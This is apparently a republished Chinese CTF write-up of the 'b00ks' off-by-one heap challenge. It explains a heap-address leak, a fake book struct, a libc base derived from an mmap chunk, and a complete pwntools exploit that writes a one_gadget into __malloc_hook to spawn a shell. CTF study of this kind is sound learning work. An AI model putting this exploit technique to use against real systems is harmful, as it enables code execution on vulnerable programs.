off-by-one (b00ks)

这篇具有很好参考价值的文章主要介绍了off-by-one (b00ks)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

个人简略记录,过程不详细

gdb开始调试

vmmap查看程序基地址为 0x555555400000

off-by-one (b00ks)
继续运行,输入auth

off-by-one (b00ks)

search hollk关键字,auth存放的地址可以找出为:0x555555602040 圈起来的是溢出的 \x00

off-by-one (b00ks)

创建两个books

off-by-one (b00ks)
因为图书的结构体指针存放在off_202010中,所以存放的地址为

0x555555400000 + 0x202010 = 0x555555602010

0x555555602010存放的是地址:0x0000555555602060 ,这里存放着两个book的地址

book1: 0x0000555555603770 book2:0x00005555556037a0

off-by-one (b00ks)
如果此时随便打印任意一个图书,当展示auth时,会将book1的地址(book1_addr)打印出来

off-by-one (b00ks)

off-by-one (b00ks)
book存储的结构如下

book_id
book_name
book_desc

得到book2的name与desc相对于book1_addr的偏移为:

book2_name - book1_addr = 0x559512b164a8 - 0x559512b16470 = 0x38
book2_desc - book1_addr = 0x559512b164b0 - 0x559512b16470 = 0x40

然后再次修改auth_name,会导致book1_addr由 0x0000559512b16470 变为 0x0000559512b16400 而改变后的地址在book1_desc中,即这种情况:

off-by-one (b00ks)

然后打印book2_name和book2_desc的地址

当申请的内存空间比较大时,空间将由mmap进行分配,而mmap分配的内存与libc的基地址存在一个固定的偏移,也就是说我们拿分配的地址-固定偏移量,就可以得到libc基地址

然后调试计算与libc基址的偏移,然后算 __malloc_hook 或者 __free_hook 和one_gadget

然后利用fake_book与book2向同一地址写入__malloc_hook 或者 __free_hook 与one_gadget获取shell

exp

from pwn import *
#from LibcSearcher import LibcSearcher
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

binary = ELF("b00ks")
libc = ELF("/root/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")
r = process("./b00ks")

def createbook(name_size, name, des_size, des):
        r.readuntil("> ")
        r.sendline("1")
        r.readuntil(": ")
        r.sendline(str(name_size))
        r.readuntil(": ")
        r.sendline(name)
        r.readuntil(": ")
        r.sendline(str(des_size))
        r.readuntil(": ")
        r.sendline(des)

def printbook(id):
        r.readuntil("> ")
        r.sendline("4")
        r.readuntil(": ")
        for i in range(id):
                book_id = int(r.readline()[:-1])
                r.readuntil(": ")
                book_name = r.readline()[:-1]
                r.readuntil(": ")
                book_des = r.readline()[:-1]
                r.readuntil(": ")
                book_author = r.readline()[:-1]
        return book_id, book_name, book_des, book_author

def createname(name):
        r.readuntil("name: ")
        r.sendline(name)

def changename(name):
        r.readuntil("> ")
        r.sendline("5")
        r.readuntil(": ")
        r.sendline(name)

def editbook(book_id,new_des):
        r.readuntil("> ")
        r.sendline("3")
        r.readuntil(": ")
        r.writeline(str(book_id))
        r.readuntil(": ")
        r.sendline(new_des)

def deletebook(book_id):
        r.readuntil("> ")
        r.sendline("2")
        r.readuntil(": ")
        r.sendline(str(book_id))
     
createname("hollkaaabbbbbbbbccccccccdddddddd")

createbook(216, "hollk_boo1", 160, "desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")
        
book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = b'b'*112 + p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")

book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_des_addr = u64(book_des.ljust(8,b"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))

libc_base = book2_name_addr + 0x21ff0
log.success("libc base:" + hex(libc_base))

free_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xe3b31 # 0xe3b31 、0xe3b34
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))

editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))


createbook(216, "hollk_boo1", 160, "desc1")
r.interactive()

off-by-one (b00ks)

参考

https://blog.csdn.net/qq_41202237/article/details/108116618文章来源地址https://www.toymoban.com/news/detail-404865.html

到了这里,关于off-by-one (b00ks)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • V-By-One协议说明

    V-By-One协议说明

    一、简介 关于VbyOne接口,V-by-One HS是由日本赛恩电子公司(THine Electornics)开发的适用于平板显示器的信号传输接口标准。目前,广泛应用在多功能打印机等办公设备、车载娱乐设备、机器人、安防系统等领域。 1、较与LVDS的优势 ①高速(支持最高4Gbps速率,有效数据速率达

    2024年01月16日
    浏览(8)
  • Gowin FPGA学习记录——前言

            好久没有写博客了,想想是不是又该写点啥东西了么,准备写点国产FPGA的使用经历吧                  得益于目前国内的政策对国产化芯片扶持,越来越要求核心器件能够自主可控,因此作为核心芯片FPGA,国产FPGA的势头也发展很快。          现在FPGA的这

    2024年02月16日
    浏览(11)
  • 当git clone遇到client_loop:send disconnect: Connection reset by peer00 Kib/s

    当git clone遇到client_loop:send disconnect: Connection reset by peer00 Kib/s

    刚换了新电脑,重新配置了下git仓库的ssh后,迫不及待想 git clone 先项目。发现遇到个问题: 在执行 git clone 命令后,等了约10s后,并没有按照预期将项目 clone 到本地。而是有一行小小的错误提示。 如下图: 修改文件上传下载的大小限制,这里改成 500M ,具体可根据自己需

    2024年02月04日
    浏览(11)
  • 论文笔记: One Fits All:Power General Time Series Analysis by Pretrained LM

    论文笔记: One Fits All:Power General Time Series Analysis by Pretrained LM

    时间序列领域预训练模型/foundation 模型的研究还不是很多 主要挑战是缺乏大量的数据来训练用于时间序列分析的基础模型 ——论文 利用预训练的语言模型进行通用的时间序列分析 为各种时间序列任务提供了一个统一的框架   论文还调查了 为什么从语言领域预训练的Transf

    2024年02月11日
    浏览(13)
  • Philosophy of life: Do not judge a life by one difficult season

    Philosophy of life: Do not judge a life by one difficult season

              A man has four sons, he wants his sons to learn not to judge things quickly.  then he sent his sons each on a quest to look at a pear tree that is a distance way, the first son  in winter, the second son in spring, the third son in summer, the youngest son in fall.         第一部分讲的是: 有个人有4个儿子,他想让他们的儿

    2024年02月03日
    浏览(8)
  • Expected one result (or null) to be returned by selectOne(), but found: 3报错解决方案

    Expected one result (or null) to be returned by selectOne(), but found: 3 Expected one result (or null) to be returned by selectOne(), but found: 3 意思是“期望selectOne()返回一个结果(或null),但发现3个”这说明你的返回结果有三个对象,但是selectOne只能返回一个。 第一种方案:可以把selectOne更换为selectList,

    2023年04月13日
    浏览(10)
  • 解决RuntimeError: one of the variables needed for gradient computation has been modified by an inplace

    解决RuntimeError: one of the variables needed for gradient computation has been modified by an inplace

    错误:RuntimeError: one of the variables needed for gradient computation has been modified by an inplace operation: [torch.FloatTensor [6,128,60,80]], which is output 0 of SoftmaxBackward , is at version 1; expected version 0 instead. Hint: enable anomaly detection to find the operation that failed to compute its gradient, with torch.autograd.set_de

    2024年02月08日
    浏览(10)
  • 【完美解决】RuntimeError: one of the variables needed for gradient computation has been modified by an inp

    【完美解决】RuntimeError: one of the variables needed for gradient computation has been modified by an inp

    💛Pytorch深度学习·理论篇(2023版) https://blog.csdn.net/qq_39237205/category_12077968.html   💚Pytorch深度学习·动手篇(2023版) https://blog.csdn.net/qq_39237205/category_12077994.html 【就看这一篇就行】RuntimeError: one of the variables needed for gradient computation has been modified by an inplace operation: [torch.cuda.FloatT

    2024年01月16日
    浏览(32)
  • 台式电脑(ubuntu系统)开机界面循环This product is covered by one or more of the following patents

    台式电脑(ubuntu系统)开机界面循环This product is covered by one or more of the following patents

    开机界面如图所示 问题出现原因:主机太久没开机了,主板默认把uefi改为了legacy 解决办法 进入bios设置,将boot filter设置为uefi

    2024年02月10日
    浏览(13)
  • 报错解决 one of the variables needed for gradient computation has been modified by an inplace operation

    报错解决 one of the variables needed for gradient computation has been modified by an inplace operation

     one of the variables needed for gradient computation has been modified by an inplace operation: [torch.cuda.FloatTensor [16, 64, 256, 256]], which is output 0 of LeakyReluBackward1, is at version 1;  最近跑代码遇到了这样的一个问题,在网上找了很多方法都没有很好的解决,今天就在这个博客里面将所有的解决办法整

    2024年02月16日
    浏览(11)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包